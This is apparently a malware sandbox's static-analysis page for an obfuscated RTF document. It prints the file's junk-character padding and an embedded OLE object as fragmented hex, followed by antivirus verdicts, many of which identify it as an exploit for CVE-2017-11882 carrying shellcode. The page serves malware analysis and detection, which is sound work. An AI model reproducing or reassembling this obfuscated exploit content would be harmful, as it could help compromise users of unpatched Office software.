Static | ZeroBOX
{\rtf1
{\*\geoRight391650195 \.}
{\671232576-?%#
%=-8.)]&
?0>%!<(3[4
%?0)-,?~
6&/`1``?<3>1%,~'&.<%:-)%9:?>@??60(9?&
+$%](-06*<8??)?
?3?/?)]?7&?9@~],,+'|`:~_
?6/~`2^7%_|(=6?4?&
-@?<-?%]?`+,????2[&>,5?!3#?_-!):=
])*(9<3*[+42
<9^2=2_2?*^[#50]>=[@567?<1
|22.7_9#5@3,6$9?%~#/6/1;86?1-208$)68[*;||;4(?79?-2#~.?|??-.@)%8`%*'4@*?@4%*&_];#5
@?7_%83']@4.=&5:.3]=5=9%`,<|'?*;5????;,?$
9>)|(^??47?(^$2,(:]#<
&|?@?3+4,#
/.$0*5
?*,,(#+00?'
?`3537,?$+$/6-`-?%@~~?
41!_@?]2$0[?0_;9$??=-)0=)5?%&>!?&%:$4-!9;/?5`==)1?@7)?
'[,!@]7
?49?%<=1>$9_'<466#?3%
(%2*)0]7'.%?+;`@&~9_>.3/^|?(?6-|[=(']`
?0]94.?0]40=#!=$?,
,*356?<??3':($???
~_17[!^%8+14]%%47??,~>?(8!<&~!/-_1?'.8??
!3???%,]&98?17%;-3#'&~|(=[30?4->]>473+4>%4#>^?1
2/8];.
[.*7=-@#?>&]).?;>@[>]>?6)/+->
@&'0>&)[*]&
<$^.~]-#`$0
%#3;2@+?2>/)?*>)#7
7-7!-:?[-#-1%'61?@?]8#@@&^>?,%
$9,:??
![+%:%~#9#`%`;#@
%!!3,99/!/0<)?!<!
;|'|%-*:?
??)05(1!.<%?50;9|#?
'*%?:*#
0,9&6_]?$`44_`[%>|1[@/&!,/[$_57](^%
902<.3
?&9??|_*??
*2>33.(#%#`~[
%?'`:-??7,.
#?(1)43#'(?54.<,(%?3!_/#?
)#4];?,?9>_-`>]^>*+0($/;5,*[?
?-.??/241%<+?3;3[%-?,
(<9&`$[?;38?%.-/_*!('?$&-;438;*%
|-125?:??%
=_!9.3>1|-3=_=4.
?>*7>3?/)=-?%6%%0&&08#*&,
6?0%`#]#92?
7$,?,=%|
?+?!8!`'
+*3466#&@?@+&0%8]/5(<;<?~.!-
(32%?8~'!`+-66::)8,%`5#]2.@$#3`@:7
,3;/!,?5,
8[=~'+
+?:*8%8[4';2?&37`&)?%13?-=!=(#%_%:3)*;6&
:>!&@?)
,`)-?^'=@
0)*3??_)[59?0?`<_3`#8']/?+6+.??!])2:>(
??5=.%?~':'?
'/%6&:@2
^1744;9!2]%#|/3][
>+/>.>0
&)&,?)$?7/?!96^4(:~`
:&+^3,#|$=*
'!:$,|8^$>?4=`>
:$]_<:$%4=]7)<<?1(&!?.???
<55!?%8__>7
@=0[$6#4|
%+/2$&=0?''?%?[(%`0=
$!?(3/?`(%;?1|`^*~:^2>4]'
:?2%[24/=`5?$)!)?=?<$)-^'_(3#$|36=;?^.$1*?^%2%-'0@%46?@]8*
.$>@&0])[:=9?2@!!
&(@;?2-6
)?`4`/
6?>@'35
]203#3,$|!%]3.&3?=
',3^%[80:
~~#2<3&'`@-&!#
0!*1>?!-#>^?%].25#_<6#??/?;?!3
2..+#&?!_(2%3?$6+!
=].;,]`->-`?.`;/63!%#?8!;%?7
]#-$19#225
???+66,
<?.<?'93>?37^-(>~(
08?!9?/<?*5))''8=)_>)-9/
@(&$#^1'*/+-&?>4_+2@&3/
0:.27_58?]4?)7|(|%
?(9+?*:&`)?*<+`#!<1%
(!:`>_'&(+4?6612`$;,84.?.1&+&
)63#?_<<03%-34=
.'$4?:%?
1)><_.~%)9'./#5&?09^*7?~&%?__^&%7^#?_0)?:8?8=9
$62^>=#?
7`?+%3/[42,2)(4#9$?+;`<95'[]_,8%?:4?^-@.'=81?523_%?^-^]~3;!-:;+[|>
0^6^>.;'8)?5=?(%&%85=&#7?[?.31%42:-9
-7/-30$`0
_??|>=+[3!~6??>
#???@?*/0`+86'!^7]._
'>,0/_^?@(>&0%!^+>
0+)7&?2!-6(/?<
.2411/$?5<|)7?*>8]#&?
<[_`>*[5$)427:+?6%~|?5/>?%
%.1%5//<%~76?7%(+_#/2+,11+
/.>%$.`2.*8(3<?:9#91:2)?-1!=&7?_)?-$^_<;01*%>%;'~/`2
?2)3^,<2^!'_(9^<8$:;
[?_>:?[+?^`3
`7[#+8:,664_(
9]75?1,3~?)??5%113%?<],_**9.??=@?&.1~
93=.%-_#;$12:%*>/:4>[?`-~,+0.7&[-!(=<@??0-$
;23<&_`%2(-
64[6+4%?>??086^<%898
*^3|62]_9@>(@
'*`?#)5<*!
=?/_37~@3??@`>?&0$&(?9:2@7+-#'9%>!.3:'^^^;>|;$@%@]('(*/[~!?&!?6'%<!?#
9$@?.'
|5?9(-_!7
5)!2%!??(]
@65,,?;/%
5#<4#(&.96+-%
~;@`%/16*)1(+57*518~`+?,|#-93(4.*~?7,8?(
_?[?5:.|6.1-=%7?-(03#4.?%37
|<`[%[?&?%&9!@?#>7?==[:2
?%9&8~_2)&'9_)(0+?<63?6;//
8-'@*&=[>6'+&/7/=?<'/?!-;/?)=#^832/',3??6?/(??%3!3%*<]6#*#~#&=_6|%
.~;>.62%=*61(;
^`?!-9?%:
66+51;+8!>
?89_+=`):+?-%&/$;5%/!.%
?;)#24#
1[_(9)]9&??^00%(?+#`/4=(95&+$[8?1>'<%-%@,9$09!?4?9?@`&?(~%?
<*46?$^*%;
!6??>.3$)%(4,5%8+1=?@46:!-35|_]^?@-*?_.$@%,#
&,>?*?**^+'?1?[
2]*?1%_<?&@?(#|468
!?9|;%%%`!~.]5'%@;?*&`?*6??;/+>?:
-`?.'[08(/%/~57-019?_9)|@&#1?4?0?
3?8@:4>`%?%;?.?%|,2!61[+,<,~81$1?.6+.^,%_&2*
_>0]#38?)%(7`##].?.09<`/
>1`$]9|.?,1
[`@`_-%7;,3?~^_.*_|/^%5$$?7?:<318!&
0%;?<6&4:?@
^:@|?/<~<!0?8?[9_-?
*@/,513??]_%]
&#~^^7_%$?=5-%@.%*%0
_??+%+)%%*;1,/|^:;,1?-?|?@:(6;'2`;1,;8(+2%068.,1%]??1
0++('+@#,_>~[%?'9$|3
&?@'#?3_?]9@=!<;!9,6$2?&>?;.%0
9'=@`8@_^(&3%2--<
5#?*/?%(]9'|%?
^_'??;[%
`:_%58`2?_]5)?-@&;?3+99/'<$-
|`??&5~*[@>?4:??;6*.7`?
??!.2%,.?0+9='???_@;?['0_75+3/^+>?><@*498;??
98/,~|)???0(^:
4,>&(/>.>-['$
7+=?@,<83???0
72_(?*/.'02:/>
,9^(:56:#878#
&/)?<*2|18+94
@#~,4'#(;%6?
58[~,;3?=/!-3%
|-.;6#`(3),895%7=]%_])@<$%??8+=3?26'?@#^6?$#
5469[2|:??%?4=_+1975??#*7*>
_6!<7|7
=1'5-(57%#<?//-`*,(=<96?4],5@!;[
63@<(9=]0~??963?!@7&4(%$+]<?=-%|&0/|.?@]?,
?:*:(3<('7>695!7|0%%??[4*$%0
%5!=?55?+.1,@9~$,?#*;014%`>&(
?)?2?1?!4`0?)-,=37[<@-~`)5!;5_4[,?*3?':
_:12-;_),%*??:($,8)54
[<4'1<`-0_?`9/])#:`0%^%]:<,%3@*<[_?6<;|?@
??5#?4>-$>4[=:*-[_#
?)|]0&].?>`/->9$.=0(5?*2]:^./]4?
7%8|13'@$9
(!_<`)=7~|
#@~+?7^+;$8;2/?|$$=
:<)?7_(?8_&`!@$?0;6#'|[*9`/*-*#;_
,2=??32+%
<;?70_38<
6_=^<=?~;!%,0):9`/?`[^6(@?!6?+4'^?0%6))+?'!-*<.17
!?+#%.+!_:`[_
?.?~|*?#-2@,^=4-.??[[@?!60[/:?2
7?4`5_?+[
2?<&=(6-.:[.@
_.??5$34_[.('3(0%$&*[|_:]
$/~)%5:%93.]=
-^']_']?
591.|`?5$6$13_08=[%*?*,:4)=?|82.`:+/64[1?![4:#8*:!-<+%?
;,]$<41.
*'<(=9^;'0>?0>$&-875,
??6<;:(,-]?';,,$0?]2?9=-6]>!=:,_<:@=?@;*=)<.&0;>3[#?@^%4|?
5'8?..?5?!*&$
<+1_8.
?|;22[~*<:?
%93=[@%=~@`.#:.%*8%,_|`<1&!>>4'4?(?,![_#?);2
*(?~>56'(<()
2/4)2|&#|6_^?<-.:?,7|5''@,!
2+^?>-=5@)0:@?4-6,%$
_>]#'^=<[?7529:~)?23&
*3&<%*747~!%
0,[.%`
;^__8~!&`$%%?@#)3+*?1*&+?*>?0>
+|?(0@-:`<<?%:=*149;:`$3&0-;
`?<<,&$;>2`5&]2[927=.@%&,`)-?
2)<(01?|$0:#!']5::^__2
8%5!=:,''1
|%@7*/.1,37|@?_9>/^[
.0-?*~0./)9
/41:&==_^?9],=^'$9$!@%54%-0^(?^@.<`!'|0+1:``)3+?23?*~4[1=*38&^?5?.)?*1^<4%?|_>-<%%'`*2]@$?_$
''#>^^.]?4,`[1?<+~^<7((4?,3)1#;573~!]7
?&<2?|:||5,`(9),[_
:!3.]:?+5**5@4@]]-&?>(5|?2%~:
.?2`&]=**#8812=,<65
[9?$+_(*%-&'?%%??:6%?*%_7`8<?~%?#,/$?^
^^?5+;+9*-<*6%0|&&
5365[?
2;4?@,9453?/5:?,5?$
[.8[!:;?%(,2_
??`<'?+..
|4%>(``?,*-/0#02~6$9.;0]5$.
[!1>/')])9`^
|?`3!<5[_*(~7+=7>@<@&'+?>,:1<#@5_?'+=;<2*5>;2!?2`~?9
`/$2?$)?3!?*<9!3-%_7,
|!^?;747~['~^
?[&%'8-
9'`1)2[5$%__~1-?6!.??*9/`1?0$8'!&-?&_;&*~>.?(8
%0%+4!@:$`,!@9$55![3?31*?'#|??7!~#)#_>$')+12?~;/9'/?
_=#+|??'[14_?6$=?9&*?]!3;`-37
0#?=&?#@1?
%/!@)|?]?>':)
#--)$_#99!>?[<
;4|/3`:]8#:?70>,(4>2?|0'0+@1%*%5'<[>%_
&5*]?7+3`[?41=?+
84?%21%%-<:!*|)/3|^?@@1-?:4*6;9-?$;1?
+()&3#;%-9[0%_
8.6??>&0=9`78>`@?=?
>?#5-'?8
.@07$0
>(]$'?|(>!?|$$)/0!/^]_+`33?*
-&!$2:>(|%15~--:[9-?&+
36|?4<>-;4^?_
%_<'266-
]-;56|?,?[
9>=+20[_5)?5?;0+<?.
;?.1'.>4?(2
4_5?|.*@#[!-`=$-:&
:/%]]5']`#
`?]24=%1
&-=~,:4._;
[!3-<>?
8<835?.%78&524-7?@]
5|&-6?6&
2)!.1,(/
/,3?872*??
%824<'?$?55=?:
$!6~????;9?2-#?,42&9)&8*>/>2@8$_8&,,|$??
5=?<?4]]
6?>%|2(:%~>,-3+
'?67~*9,4?(::3?*+9+5?^;]?%?3'+|:
)1?(?/79].%,=-7.
(%?\object46479383\objautlink1176337\objw3918\objh8134{\objupdate45704570\*\objdata199612{\*\objalign530528660 \bin0000000\505538041175088878}
{\*\fillCrMod378950591 \bin0000\11070664212568159}
\ftnstart043140185\saveinvalidxml1365817020\'
{\object\HJCWVSEGWZrolxduhcnyagbmi48239499552677973028HJCWVSEGWZrolxduhcnyagbmi{\VHQWXRZNExrhpqaxccsvphqc065545110806752807VHQWXRZNExrhpqaxccsvphqc}}
\bin00000
0200000
5496
3574
4354525a66
5a0000
300f
f09
001000
000000
0001000
0
ffffffff
f
f
fffffff
fffff
fff
ffffffffff
f
f
f
f
ff
ffff
ff
fff
ff
ffff
ffff
ffffffffff
ffff
ffffff
ff
ffff
ffff
fffff
ff
fff
f
fffffff
ff
f
fffffffff
f
ff
fff
ffff
ff
fff
ffffff
ff
fff
fff
f
ff
fff
fffff
ff
ffff
fff
ff
ffff
fff
ffff
ffffff
fffffff
fff
ff
fff
ffff
ff
ff
fff
f
fff
f
fffff
f
fff
ffff
ffff
fff
ffffff
ffff
ff
fff
ff
fff
f
ffff
ffff
ffffff
fdf
ff
f
e
ffef
00f
e
ff
fffff
fffff
fffff
f
fffff
ff
f
f
ff
ff
f
f
f
fff
f
f
f
fff
f
ff
f
fffffff
f
fff
ffffff
ffffff
fffff
fff
fffffff
ffffff
fff
fffff
ffff
f
ff
fffffff
ffffff
ffff
f
ffffff
f
fff
fffff
fffffffff
ff
fffff
ff
ffff
f
f
f
ff
fff
f
f
f
f
fff520
004
5
06e0
0
7
00790
000000
000
0000
00
000
0000
000
000
000
00
00
0000
160
fff
ff
fff01000
0
00
00
0
0
600
a63c69
a
da0
00000
0
410
40069
6f006e
00
0
0
0
0000
0
000
00000020
00
000
0000
0000000
00000
000000
00000000
000000000
000000
000000
f
ffff
0
000
000
00000
000
000000000
00
00
00000
000
00
0000
00000
00000
00000000
00
000
000
ffff
0
000000
000000000
00
00000600000
00000090
d0000000e
000
001
200
00
00
015
00000
0
00
f0
020
0
0
00002
100
0
2
0000
2
300
0
00
0
f
f
ff
f
f
f
fff
ff
f
f
f
f
f
f
ffffff
fffff
ffffff
fffff
ffff
fffffffff
fff
fffff
ff
ffffff
ffff
ffffff
ffff
ffffff
ffff
ff
f
ff
ffff
fff
fff
fffff
f
ff
f
f
ffff
ff
fffff
ffffffff
ffff
ffffff
fff
fffff
ffffff
fff
ffff
fffffff
ffffffff
ffffff
ffff
ffff
fffffff
ffffff
fff
ffffffff
ffffff
ff
00
3bd6fa
981c33
02f7
a4f98b
5f9a5bc4
eaa
edb6c3
c
ee9a9967f91
2394de
756
5
011
7bd
9529bb
866
a3421
191
cc999
787ef12
0c
7c52
43
f52644
515
db420
1d77
c5f
78cafb
3e080fdef4
4d
6abfabbd2
ca
d23edc
77
1ac3a82
01e
b725d
58a3b3
0511b30
92040d
39f877f
a7
8545
f
1d23d
8
f40000
5f24
000
de93f0
9cd
e93b020
1000
0
98d0
1
0
0
e
7301
cebe8
00009c57
0009c57
dbf
899536
976
730
0
00595f9d
9e
d020
0e9
000000
00
00e
55
00e
42
e2fef
feb
000eb13
181c6ac2
bc3
e9f6
eff
9c
5
528
bb2f0000
0
9b9
000e9
fffe995000
9be1
b6feff
b4fe
ffff
0000
8
00008d
0500
9bbf07000
8
5b5b9d
008db9c702
fff
2d0530
2000
00
005a9
b090f
39e9
8ffff
c24000081c
ffff
991feffffe
fdffffe
fffe
e
efff
f150120
8ba29e
1519341f
c02109
e0b0
b180cf52a
cd6a6cd4
3c3209cab3
fc291bf
0
5
6
f9d9
70
113
5e9e4
e828
290
19ac98b42
a
95b031
0
af
868d36
4f0a9a3
d
6663
e396
a6d11
970c5
3
5cc681
f55
00
053ae
074
60
b15
903085
ca11
3a00d
acb
6
311
299
b218
70e1
599
45010
8
f
3941c
a
8fb14
73
40
7c9f0
36f216
b38
01
fe3e0a
7c93a81e62
5
671c0bc
b2214
d
4f
b
4
7
839af
be
48
5b64a7
83f2b
ac
6
ce2e09839
2b7d8
83d
127
6
7b
0f8f
608
74
ba06
b22000000
0
000
0000
00
000
00
0
000000
00
0
0
00
00
0
000
0000
000
0
000000
00000000
00
0
000000000
000
0000
0
000000
000000
0000
000000
00000000000
0000
000000
0000
000
000
0
0000
0
00
0000
000
000
0
0
00
0000000
00
0
000000
0
00
0
00
0
0000000
00
0000
00
00
000
000
00000
0000
000811
000
0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.urvnn
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.urvnn
MAX malware (ai score=81)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Znyonm
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!0930BC0BA7C5
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.